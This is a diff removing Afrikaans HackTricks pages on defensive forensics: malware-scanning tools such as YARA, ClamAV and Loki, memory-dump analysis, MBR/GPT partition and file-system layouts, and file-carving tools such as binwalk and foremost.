|
||||
## Aanlyn Dienste
|
||||
|
||||
- [VirusTotal](https://www.virustotal.com/gui/home/upload)
|
||||
- [HybridAnalysis](https://www.hybrid-analysis.com)
|
||||
- [Koodous](https://koodous.com)
|
||||
- [Intezer](https://analyze.intezer.com)
|
||||
- [Any.Run](https://any.run/)
|
||||
|
||||
## Aflyn Antivirus en Opsporing Gereedskap
|
||||
|
||||
### Yara
|
||||
|
||||
#### Installeer
|
||||
```bash
|
||||
sudo apt-get install -y yara
|
||||
```
|
||||
#### Berei reëls voor
|
||||
|
||||
Gebruik hierdie skrif om al die yara malware reëls van github af te laai en te kombineer: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
|
||||
Skep die _**reëls**_ gids en voer dit uit. Dit sal 'n lêer genaamd _**malware_rules.yar**_ skep wat al die yara reëls vir malware bevat.
|
||||
```bash
|
||||
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
|
||||
mkdir rules
|
||||
python malware_yara_rules.py
|
||||
```
|
||||
#### Skande
|
||||
```bash
|
||||
yara -w malware_rules.yar image #Scan 1 file
|
||||
yara -w malware_rules.yar folder #Scan the whole folder
|
||||
```
|
||||
#### YaraGen: Kontroleer vir malware en Skep reëls
|
||||
|
||||
Jy kan die hulpmiddel [**YaraGen**](https://github.com/Neo23x0/yarGen) gebruik om yara reëls uit 'n binêre te genereer. Kyk na hierdie tutoriaal: [**Deel 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Deel 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Deel 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
|
||||
```bash
|
||||
python3 yarGen.py --update
|
||||
python3.exe yarGen.py --excludegood -m ../../mals/
|
||||
```
|
||||
### ClamAV
|
||||
|
||||
#### Installeer
|
||||
```
|
||||
sudo apt-get install -y clamav
|
||||
```
|
||||
#### Skande
|
||||
```bash
|
||||
sudo freshclam #Update rules
|
||||
clamscan filepath #Scan 1 file
|
||||
clamscan folderpath #Scan the whole folder
|
||||
```
|
||||
### [Capa](https://github.com/mandiant/capa)
|
||||
|
||||
**Capa** detecteer potensieel kwaadwillige **vermoëns** in uitvoerbare lêers: PE, ELF, .NET. Dit sal dinge soos Att\&ck taktieke, of verdagte vermoëns soos:
|
||||
|
||||
- kontroleer vir OutputDebugString fout
|
||||
- loop as 'n diens
|
||||
- skep proses
|
||||
|
||||
Kry dit in die [**Github repo**](https://github.com/mandiant/capa).
|
||||
|
||||
### IOCs
|
||||
|
||||
IOC beteken Aanwyser van Kompromie. 'n IOC is 'n stel **voorwaardes wat** sommige potensieel ongewenste sagteware of bevestigde **malware** identifiseer. Blue Teams gebruik hierdie soort definisie om **te soek na hierdie soort kwaadwillige lêers** in hul **stelsels** en **netwerke**.\
|
||||
Om hierdie definisies te deel is baie nuttig, aangesien wanneer malware in 'n rekenaar geïdentifiseer word en 'n IOC vir daardie malware geskep word, ander Blue Teams dit kan gebruik om die malware vinniger te identifiseer.
|
||||
|
||||
'n Gereedskap om IOCs te skep of te wysig is [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\
|
||||
Jy kan gereedskap soos [**Redline**](https://www.fireeye.com/services/freeware/redline.html) gebruik om **te soek na gedefinieerde IOCs in 'n toestel**.
|
||||
|
||||
### Loki
|
||||
|
||||
[**Loki**](https://github.com/Neo23x0/Loki) is 'n skandeerder vir Eenvoudige Aanwysers van Kompromie.\
|
||||
Detectie is gebaseer op vier detectiemetodes:
|
||||
```
|
||||
1. File Name IOC
|
||||
Regex match on full file path/name
|
||||
|
||||
2. Yara Rule Check
|
||||
Yara signature matches on file data and process memory
|
||||
|
||||
3. Hash Check
|
||||
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
|
||||
|
||||
4. C2 Back Connect Check
|
||||
Compares process connection endpoints with C2 IOCs (new since version v.10)
|
||||
```
|
||||
### Linux Malware Detect
|
||||
|
||||
[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) is 'n malware skandeerder vir Linux wat vrygestel is onder die GNU GPLv2 lisensie, wat ontwerp is rondom die bedreigings wat in gedeelde gasheeromgewings voorkom. Dit gebruik bedreigingsdata van netwerkrand indringingsdeteksiesisteme om malware wat aktief in aanvalle gebruik word, te onttrek en genereer handtekeninge vir opsporing. Daarbenewens word bedreigingsdata ook afgelei van gebruikersindienings met die LMD afrekenfunksie en malware gemeenskapsbronne.
|
||||
|
||||
### rkhunter
|
||||
|
||||
Gereedskap soos [**rkhunter**](http://rkhunter.sourceforge.net) kan gebruik word om die lêerstelsel te kontroleer vir moontlike **rootkits** en malware.
|
||||
```bash
|
||||
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
|
||||
```
|
||||
### FLOSS
|
||||
|
||||
[**FLOSS**](https://github.com/mandiant/flare-floss) is 'n hulpmiddel wat sal probeer om obfuskeerde stringe binne uitvoerbare lêers te vind deur verskillende tegnieke te gebruik.
|
||||
|
||||
### PEpper
|
||||
|
||||
[PEpper ](https://github.com/Th3Hurrican3/PEpper)kontroleer 'n paar basiese goed binne die uitvoerbare lêer (binarie data, entropie, URL's en IP's, 'n paar yara reëls).
|
||||
|
||||
### PEstudio
|
||||
|
||||
[PEstudio](https://www.winitor.com/download) is 'n hulpmiddel wat inligting van Windows uitvoerbare lêers soos invoere, uitvoere, koptekste verkry, maar sal ook virus totaal kontroleer en potensiële Att\&ck tegnieke vind.
|
||||
|
||||
### Detect It Easy(DiE)
|
||||
|
||||
[**DiE**](https://github.com/horsicq/Detect-It-Easy/) is 'n hulpmiddel om te detecteer of 'n lêer **geënkripteer** is en ook **packers** te vind.
|
||||
|
||||
### NeoPI
|
||||
|
||||
[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)is 'n Python-skrip wat 'n verskeidenheid **statistiese metodes** gebruik om **obfuskeerde** en **geënkripteerde** inhoud binne teks/skrip lêers te detecteer. Die beoogde doel van NeoPI is om te help met die **detectie van verborge web shell kode**.
|
||||
|
||||
### **php-malware-finder**
|
||||
|
||||
[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) doen sy beste om **obfuskeerde**/**verdagte kode** sowel as lêers wat **PHP** funksies gebruik wat dikwels in **malwares**/webshells gebruik word, te detecteer.
|
||||
|
||||
### Apple Binary Signatures
|
||||
|
||||
Wanneer jy 'n paar **malware monsters** nagaan, moet jy altyd die **handtekening** van die binêre lêer nagaan, aangesien die **ontwikkelaar** wat dit onderteken het, dalk reeds **verbonde** is met **malware.**
|
||||
```bash
|
||||
#Get signer
|
||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||
|
||||
#Check if the app’s contents have been modified
|
||||
codesign --verify --verbose /Applications/Safari.app
|
||||
|
||||
#Check if the signature is valid
|
||||
spctl --assess --verbose /Applications/Safari.app
|
||||
```
|
||||
## Ontdekkings Tegnieke
|
||||
|
||||
### Lêer Stapeling
|
||||
|
||||
As jy weet dat 'n sekere gids wat die **lêers** van 'n webbediener bevat **laas op 'n sekere datum opgedateer is**. **Kontroleer** die **datum** waarop al die **lêers** in die **webbediener geskep en gewysig** is, en as enige datum **verdag** is, kontroleer daardie lêer.
|
||||
|
||||
### Baselines
|
||||
|
||||
As die lêers van 'n gids **nie gewysig moes gewees het nie**, kan jy die **hash** van die **oorspronklike lêers** van die gids bereken en dit met die **huidige** vergelyk. Enige iets wat gewysig is, sal **verdag** wees.
|
||||
|
||||
### Statistiese Analise
|
||||
|
||||
Wanneer die inligting in logs gestoor word, kan jy **statistieke kontroleer soos hoeveel keer elke lêer van 'n webbediener toeganklik was, aangesien 'n web shell een van die mees** mag wees.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,37 +0,0 @@
|
||||
# Geheugen dump analise
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Begin
|
||||
|
||||
Begin **soek** vir **malware** binne die pcap. Gebruik die **gereedskap** genoem in [**Malware Analise**](../malware-analysis.md).
|
||||
|
||||
## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
|
||||
|
||||
**Volatility is die hoof oopbron raamwerk vir geheue dump analise**. Hierdie Python-gereedskap analiseer dumps van eksterne bronne of VMware VM's, en identifiseer data soos prosesse en wagwoorde gebaseer op die dump se OS-profiel. Dit is uitbreidbaar met plugins, wat dit baie veelsydig maak vir forensiese ondersoeke.
|
||||
|
||||
**[Vind hier 'n cheatsheet](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
|
||||
|
||||
## Mini dump crash verslag
|
||||
|
||||
Wanneer die dump klein is (net 'n paar KB, dalk 'n paar MB) dan is dit waarskynlik 'n mini dump crash verslag en nie 'n geheue dump nie.
|
||||
|
||||
.png>)
|
||||
|
||||
As jy Visual Studio geïnstalleer het, kan jy hierdie lêer oopmaak en basiese inligting soos prosesnaam, argitektuur, uitsondering inligting en modules wat uitgevoer word, bind:
|
||||
|
||||
.png>)
|
||||
|
||||
Jy kan ook die uitsondering laai en die gedecompileerde instruksies sien
|
||||
|
||||
.png>)
|
||||
|
||||
 (1).png>)
|
||||
|
||||
In elk geval, Visual Studio is nie die beste gereedskap om 'n analise van die diepte van die dump uit te voer nie.
|
||||
|
||||
Jy moet dit **oopmaak** met **IDA** of **Radare** om dit in **diepte** te inspekteer.
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,234 +0,0 @@
|
||||
# Partitions/File Systems/Carving
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Partitions
|
||||
|
||||
'n Hardeskyf of 'n **SSD-skyf kan verskillende partities bevat** met die doel om data fisies te skei.\
|
||||
Die **minimum** eenheid van 'n skyf is die **sektor** (normaalweg saamgestel uit 512B). So, elke partisie grootte moet 'n veelvoud van daardie grootte wees.
|
||||
|
||||
### MBR (master Boot Record)
|
||||
|
||||
Dit is toegeken in die **eerste sektor van die skyf na die 446B van die opstartkode**. Hierdie sektor is noodsaaklik om aan die rekenaar aan te dui wat en van waar 'n partisie gemonteer moet word.\
|
||||
Dit laat tot **4 partities** toe (max **net 1** kan aktief/**opstartbaar** wees). As jy egter meer partities nodig het, kan jy **uitgebreide partities** gebruik. Die **laaste byte** van hierdie eerste sektor is die opstartrekord handtekening **0x55AA**. Slegs een partisie kan as aktief gemerk word.\
|
||||
MBR laat **max 2.2TB** toe.
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Van die **bytes 440 tot 443** van die MBR kan jy die **Windows Disk Signature** vind (as Windows gebruik word). Die logiese skyfletter van die hardeskyf hang af van die Windows Disk Signature. Om hierdie handtekening te verander kan voorkom dat Windows opstart (tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
|
||||
|
||||
.png>)
|
||||
|
||||
**Formaat**
|
||||
|
||||
| Offset | Lengte | Item |
|
||||
| ----------- | ---------- | ------------------- |
|
||||
| 0 (0x00) | 446(0x1BE) | Opstartkode |
|
||||
| 446 (0x1BE) | 16 (0x10) | Eerste Partisie |
|
||||
| 462 (0x1CE) | 16 (0x10) | Tweede Partisie |
|
||||
| 478 (0x1DE) | 16 (0x10) | Derde Partisie |
|
||||
| 494 (0x1EE) | 16 (0x10) | Vierde Partisie |
|
||||
| 510 (0x1FE) | 2 (0x2) | Handtekening 0x55 0xAA |
|
||||
|
||||
**Partisie Rekord Formaat**
|
||||
|
||||
| Offset | Lengte | Item |
|
||||
| --------- | -------- | ------------------------------------------------------ |
|
||||
| 0 (0x00) | 1 (0x01) | Aktiewe vlag (0x80 = opstartbaar) |
|
||||
| 1 (0x01) | 1 (0x01) | Beginkop |
|
||||
| 2 (0x02) | 1 (0x01) | Beginsektor (bits 0-5); boonste bits van silinder (6- 7) |
|
||||
| 3 (0x03) | 1 (0x01) | Begin silinder laagste 8 bits |
|
||||
| 4 (0x04) | 1 (0x01) | Partisie tipe kode (0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | Eindkop |
|
||||
| 6 (0x06) | 1 (0x01) | Eindsektor (bits 0-5); boonste bits van silinder (6- 7) |
|
||||
| 7 (0x07) | 1 (0x01) | Eind silinder laagste 8 bits |
|
||||
| 8 (0x08) | 4 (0x04) | Sektore wat die partisie voorafgaan (little endian) |
|
||||
| 12 (0x0C) | 4 (0x04) | Sektore in partisie |
|
||||
|
||||
Om 'n MBR in Linux te monteer, moet jy eers die begin offset kry (jy kan `fdisk` en die `p` opdrag gebruik)
|
||||
|
||||
 (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
|
||||
|
||||
En dan die volgende kode gebruik
|
||||
```bash
|
||||
#Mount MBR in Linux
|
||||
mount -o ro,loop,offset=<Bytes>
|
||||
#63x512 = 32256Bytes
|
||||
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
||||
```
|
||||
**LBA (Logiese blok adressering)**
|
||||
|
||||
**Logiese blok adressering** (**LBA**) is 'n algemene skema wat gebruik word om **die ligging van blokke** data wat op rekenaaropbergingsapparate gestoor is, spesifiek sekondêre opbergingsisteme soos hardeskyfskywe, aan te dui. LBA is 'n veral eenvoudige lineêre adressering skema; **blokke word geleë deur 'n heelgetal indeks**, met die eerste blok wat LBA 0 is, die tweede LBA 1, en so aan.
|
||||
|
||||
### GPT (GUID Partisie Tabel)
|
||||
|
||||
Die GUID Partisie Tabel, bekend as GPT, word verkies vir sy verbeterde vermoëns in vergelyking met MBR (Master Boot Record). Kenmerkend vir sy **globaal unieke identifiseerder** vir partisie, val GPT op verskeie maniere uit:
|
||||
|
||||
- **Ligging en Grootte**: Beide GPT en MBR begin by **sektor 0**. GPT werk egter op **64-bits**, in teenstelling met MBR se 32-bits.
|
||||
- **Partisie Grense**: GPT ondersteun tot **128 partisie** op Windows stelsels en akkommodeer tot **9.4ZB** data.
|
||||
- **Partisie Nnames**: Bied die vermoë om partisie te benoem met tot 36 Unicode karakters.
|
||||
|
||||
**Data Veerkragtigheid en Herstel**:
|
||||
|
||||
- **Redundansie**: Anders as MBR, beperk GPT nie partisie en opstartdata tot 'n enkele plek nie. Dit repliseer hierdie data oor die skyf, wat data integriteit en veerkragtigheid verbeter.
|
||||
- **Cyclic Redundancy Check (CRC)**: GPT gebruik CRC om data integriteit te verseker. Dit monitor aktief vir datakorruptie, en wanneer dit opgespoor word, probeer GPT om die gekorrupte data van 'n ander skyf ligging te herstel.
|
||||
|
||||
**Beskermer MBR (LBA0)**:
|
||||
|
||||
- GPT handhaaf agterwaartse kompatibiliteit deur 'n beskermende MBR. Hierdie kenmerk woon in die erfenis MBR ruimte, maar is ontwerp om te voorkom dat ouer MBR-gebaseerde nutsprogramme per ongeluk GPT skywe oorskryf, en so die data integriteit op GPT-geformatteerde skywe te beskerm.
|
||||
|
||||
.png>)
|
||||
|
||||
**Hibrid MBR (LBA 0 + GPT)**
|
||||
|
||||
[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
|
||||
In bedryfstelsels wat **GPT-gebaseerde opstart deur BIOS** dienste ondersteun eerder as EFI, kan die eerste sektor ook steeds gebruik word om die eerste fase van die **opstartlader** kode te stoor, maar **gewysig** om **GPT** **partisie** te herken. Die opstartlader in die MBR mag nie 'n sektor grootte van 512 bytes aanvaar nie.
|
||||
|
||||
**Partisie tabel kop (LBA 1)**
|
||||
|
||||
[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
|
||||
Die partisie tabel kop definieer die bruikbare blokke op die skyf. Dit definieer ook die aantal en grootte van die partisie inskrywings wat die partisie tabel vorm (offsets 80 en 84 in die tabel).
|
||||
|
||||
| Offset | Lengte | Inhouds |
|
||||
| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 0 (0x00) | 8 bytes | Handtekening ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h of 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)op little-endian masjiene) |
|
||||
| 8 (0x08) | 4 bytes | Hersiening 1.0 (00h 00h 01h 00h) vir UEFI 2.8 |
|
||||
| 12 (0x0C) | 4 bytes | Kopgrootte in little endian (in bytes, gewoonlik 5Ch 00h 00h 00h of 92 bytes) |
|
||||
| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) van kop (offset +0 tot kopgrootte) in little endian, met hierdie veld op nul tydens berekening |
|
||||
| 20 (0x14) | 4 bytes | Gereserveer; moet nul wees |
|
||||
| 24 (0x18) | 8 bytes | Huidige LBA (ligging van hierdie kopie van die kop) |
|
||||
| 32 (0x20) | 8 bytes | Rugsteun LBA (ligging van die ander kopie van die kop) |
|
||||
| 40 (0x28) | 8 bytes | Eerste bruikbare LBA vir partisie (primêre partisie tabel laaste LBA + 1) |
|
||||
| 48 (0x30) | 8 bytes | Laaste bruikbare LBA (sekondêre partisie tabel eerste LBA − 1) |
|
||||
| 56 (0x38) | 16 bytes | Skyf GUID in gemengde endian |
|
||||
| 72 (0x48) | 8 bytes | Begin LBA van 'n reeks partisie inskrywings (altyd 2 in primêre kopie) |
|
||||
| 80 (0x50) | 4 bytes | Aantal partisie inskrywings in reeks |
|
||||
| 84 (0x54) | 4 bytes | Grootte van 'n enkele partisie inskrywing (gewoonlik 80h of 128) |
|
||||
| 88 (0x58) | 4 bytes | CRC32 van partisie inskrywings reeks in little endian |
|
||||
| 92 (0x5C) | \* | Gereserveer; moet nul wees vir die res van die blok (420 bytes vir 'n sektor grootte van 512 bytes; maar kan meer wees met groter sektor groottes) |
|
||||
|
||||
**Partisie inskrywings (LBA 2–33)**
|
||||
|
||||
| GUID partisie inskrywing formaat | | |
|
||||
| --------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- |
|
||||
| Offset | Lengte | Inhouds |
|
||||
| 0 (0x00) | 16 bytes | [Partisie tipe GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (gemengde endian) |
|
||||
| 16 (0x10) | 16 bytes | Unieke partisie GUID (gemengde endian) |
|
||||
| 32 (0x20) | 8 bytes | Eerste LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) |
|
||||
| 40 (0x28) | 8 bytes | Laaste LBA (insluitend, gewoonlik onpare) |
|
||||
| 48 (0x30) | 8 bytes | Kenmerkvlaggies (bv. bit 60 dui op slegs lees) |
|
||||
| 56 (0x38) | 72 bytes | Partisie naam (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE kode eenhede) |
|
||||
|
||||
**Partisie Tipes**
|
||||
|
||||
.png>)
|
||||
|
||||
Meer partisie tipes in [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
|
||||
### Inspeksie
|
||||
|
||||
Na die montering van die forensiese beeld met [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), kan jy die eerste sektor inspekteer met die Windows hulpmiddel [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In die volgende beeld is 'n **MBR** op die **sektor 0** opgespoor en geïnterpreteer:
|
||||
|
||||
.png>)
|
||||
|
||||
As dit 'n **GPT tabel in plaas van 'n MBR** was, moet die handtekening _EFI PART_ in die **sektor 1** verskyn (wat in die vorige beeld leeg is).
|
||||
|
||||
## Lêer-Stelsels
|
||||
|
||||
### Windows lêer-stelsels lys
|
||||
|
||||
- **FAT12/16**: MSDOS, WIN95/98/NT/200
|
||||
- **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
|
||||
- **ExFAT**: 2008/2012/2016/VISTA/7/8/10
|
||||
- **NTFS**: XP/2003/2008/2012/VISTA/7/8/10
|
||||
- **ReFS**: 2012/2016
|
||||
|
||||
### FAT
|
||||
|
||||
Die **FAT (Lêer Toewysing Tabel)** lêerstelsel is ontwerp rondom sy kernkomponent, die lêer toewysing tabel, wat aan die begin van die volume geleë is. Hierdie stelsel beskerm data deur **twee kopieë** van die tabel te handhaaf, wat data integriteit verseker selfs as een gekorrupteer is. Die tabel, saam met die wortel gids, moet in 'n **vaste ligging** wees, wat noodsaaklik is vir die stelsel se opstartproses.
|
||||
|
||||
Die basiese eenheid van opberging in die lêerstelsel is 'n **kluster, gewoonlik 512B**, wat uit verskeie sektore bestaan. FAT het deur weergawes ontwikkel:
|
||||
|
||||
- **FAT12**, wat 12-bis kluster adresse ondersteun en tot 4078 klusters hanteer (4084 met UNIX).
|
||||
- **FAT16**, wat verbeter na 16-bis adresse, wat tot 65,517 klusters akkommodeer.
|
||||
- **FAT32**, wat verder gevorder het met 32-bis adresse, wat 'n indrukwekkende 268,435,456 klusters per volume toelaat.
|
||||
|
||||
'n Belangrike beperking oor FAT weergawes is die **4GB maksimum lêergrootte**, wat deur die 32-bis veld wat vir lêergrootte opberging gebruik word, opgelê word.
|
||||
|
||||
Belangrike komponente van die wortel gids, veral vir FAT12 en FAT16, sluit in:
|
||||
|
||||
- **Lêer/Gids Naam** (tot 8 karakters)
|
||||
- **Kenmerke**
|
||||
- **Skep-, Wysigings- en Laaste Toegang Datums**
|
||||
- **FAT Tabel Adres** (wat die begin kluster van die lêer aandui)
|
||||
- **Lêergrootte**
|
||||
|
||||
### EXT
|
||||
|
||||
**Ext2** is die mees algemene lêerstelsel vir **nie-journaling** partisie (**partisie wat nie veel verander nie**) soos die opstartpartisie. **Ext3/4** is **journaling** en word gewoonlik gebruik vir die **oorige partisie**.
|
||||
|
||||
## **Metadata**
|
||||
|
||||
Sommige lêers bevat metadata. Hierdie inligting is oor die inhoud van die lêer wat soms interessant vir 'n ontleder kan wees, aangesien dit afhang van die lêer tipe, dit mag inligting soos hê:
|
||||
|
||||
- Titel
|
||||
- MS Office Weergawe gebruik
|
||||
- Skrywer
|
||||
- Datums van skepping en laaste wysiging
|
||||
- Model van die kamera
|
||||
- GPS koördinate
|
||||
- Beeld inligting
|
||||
|
||||
Jy kan hulpmiddels soos [**exiftool**](https://exiftool.org) en [**Metadiver**](https://www.easymetadata.com/metadiver-2/) gebruik om die metadata van 'n lêer te verkry.
|
||||
|
||||
## **Verwyderde Lêers Herstel**
|
||||
|
||||
### Geregistreerde Verwyderde Lêers
|
||||
|
||||
Soos voorheen gesien, is daar verskeie plekke waar die lêer steeds gestoor is nadat dit "verwyder" is. Dit is omdat die verwydering van 'n lêer uit 'n lêerstelsel gewoonlik net dit as verwyder merk, maar die data word nie aangeraak nie. Dan is dit moontlik om die registrasies van die lêers (soos die MFT) te inspekteer en die verwyderde lêers te vind.
|
||||
|
||||
Ook, die OS stoor gewoonlik baie inligting oor lêerstelsel veranderinge en rugsteun, so dit is moontlik om te probeer om dit te gebruik om die lêer of soveel inligting as moontlik te herstel.
|
||||
|
||||
{{#ref}}
|
||||
file-data-carving-recovery-tools.md
|
||||
{{#endref}}
|
||||
|
||||
### **Lêer Karving**
|
||||
|
||||
**Lêer karving** is 'n tegniek wat probeer om **lêers in die massa data** te vind. Daar is 3 hoof maniere waarop hulpmiddels soos hierdie werk: **Gebaseer op lêer tipe koppe en voete**, gebaseer op lêer tipe **strukture** en gebaseer op die **inhoud** self.
|
||||
|
||||
Let daarop dat hierdie tegniek **nie werk om gefragmenteerde lêers te herstel nie**. As 'n lêer **nie in aaneengeskakelde sektore gestoor is nie**, dan sal hierdie tegniek nie in staat wees om dit te vind of ten minste 'n deel daarvan nie.
|
||||
|
||||
Daar is verskeie hulpmiddels wat jy kan gebruik vir lêer Karving wat die lêer tipes aandui wat jy wil soek.
|
||||
|
||||
{{#ref}}
|
||||
file-data-carving-recovery-tools.md
|
||||
{{#endref}}
|
||||
|
||||
### Data Stroom **C**arving
|
||||
|
||||
Data Stroom Karving is soortgelyk aan Lêer Karving, maar **in plaas daarvan om na volledige lêers te soek, soek dit na interessante fragmente** van inligting.\
|
||||
Byvoorbeeld, in plaas daarvan om na 'n volledige lêer te soek wat geregistreerde URL's bevat, sal hierdie tegniek na URL's soek.
|
||||
|
||||
{{#ref}}
|
||||
file-data-carving-recovery-tools.md
|
||||
{{#endref}}
|
||||
|
||||
### Veilige Verwydering
|
||||
|
||||
Natuurlik is daar maniere om lêers en 'n deel van logs oor hulle **"veilig" te verwyder**. Byvoorbeeld, dit is moontlik om die **inhoud** van 'n lêer met rommeldata verskeie kere te oorskryf, en dan die **logs** van die **$MFT** en **$LOGFILE** oor die lêer te **verwyder**, en die **Volume Shadow Copies** te **verwyder**.\
|
||||
Jy mag opgemerk het dat selfs wanneer jy daardie aksie uitvoer, daar dalk **ander dele is waar die bestaan van die lêer steeds geregistreer is**, en dit is waar, en 'n deel van die forensiese professionele se werk is om hulle te vind.
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
- [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
|
||||
- [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
|
||||
- [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
|
||||
- **iHackLabs Gekwalifiseerde Digitale Forensiese Windows**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,87 +0,0 @@
|
||||
# File/Data Carving & Recovery Tools
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Carving & Recovery tools
|
||||
|
||||
Meer gereedskap in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
||||
### Autopsy
|
||||
|
||||
Die mees algemene gereedskap wat in forensiese ondersoeke gebruik word om lêers uit beelde te onttrek, is [**Autopsy**](https://www.autopsy.com/download/). Laai dit af, installeer dit en laat dit die lêer verwerk om "versteekte" lêers te vind. Let daarop dat Autopsy gebou is om skyfbeelde en ander soorte beelde te ondersteun, maar nie eenvoudige lêers nie.
|
||||
|
||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
**Binwalk** is 'n gereedskap om binêre lêers te analiseer om ingebedde inhoud te vind. Dit kan geïnstalleer word via `apt` en sy bron is op [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
|
||||
**Nuttige opdragte**:
|
||||
```bash
|
||||
sudo apt install binwalk #Insllation
|
||||
binwalk file #Displays the embedded data in the given file
|
||||
binwalk -e file #Displays and extracts some files from the given file
|
||||
binwalk --dd ".*" file #Displays and extracts all files from the given file
|
||||
```
|
||||
### Foremost
|
||||
|
||||
Nog 'n algemene hulpmiddel om verborge lêers te vind, is **foremost**. Jy kan die konfigurasielêer van foremost in `/etc/foremost.conf` vind. As jy net vir 'n paar spesifieke lêers wil soek, ontkommentarieer hulle. As jy niks ontkommentarieer nie, sal foremost vir sy standaard geconfigureerde lêertipes soek.
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
#Discovered files will appear inside the folder "output"
|
||||
```
|
||||
### **Scalpel**
|
||||
|
||||
**Scalpel** is 'n ander hulpmiddel wat gebruik kan word om **lêers wat in 'n lêer ingebed is** te vind en te onttrek. In hierdie geval sal jy die lêertipes wat jy wil hê dit moet onttrek, uit die konfigurasielêer (_/etc/scalpel/scalpel.conf_) moet ontkommentaar.
|
||||
```bash
|
||||
sudo apt-get install scalpel
|
||||
scalpel file.img -o output
|
||||
```
|
||||
### Bulk Extractor
|
||||
|
||||
Hierdie hulpmiddel kom binne Kali, maar jy kan dit hier vind: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
|
||||
|
||||
Hierdie hulpmiddel kan 'n beeld skandeer en sal **pcaps** daarin **onttrek**, **netwerk inligting (URL's, domeine, IP's, MAC's, e-posse)** en meer **lêers**. Jy hoef net te doen:
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
Navigeer deur **alle inligting** wat die hulpmiddel versamel het (wagwoorde?), **analiseer** die **pakkette** (lees[ **Pcaps analise**](../pcap-inspection/index.html)), soek na **vreemde domeine** (domeine wat verband hou met **malware** of **nie-bestaande**).
|
||||
|
||||
### PhotoRec
|
||||
|
||||
Jy kan dit vind in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
|
||||
|
||||
Dit kom met GUI en CLI weergawes. Jy kan die **lêer-tipes** kies waarvoor jy wil hê PhotoRec moet soek.
|
||||
|
||||
.png>)
|
||||
|
||||
### binvis
|
||||
|
||||
Kyk na die [kode](https://code.google.com/archive/p/binvis/) en die [webblad hulpmiddel](https://binvis.io/#/).
|
||||
|
||||
#### Kenmerke van BinVis
|
||||
|
||||
- Visuele en aktiewe **struktuurkyker**
|
||||
- Meervoudige grafieke vir verskillende fokuspunte
|
||||
- Fokus op gedeeltes van 'n monster
|
||||
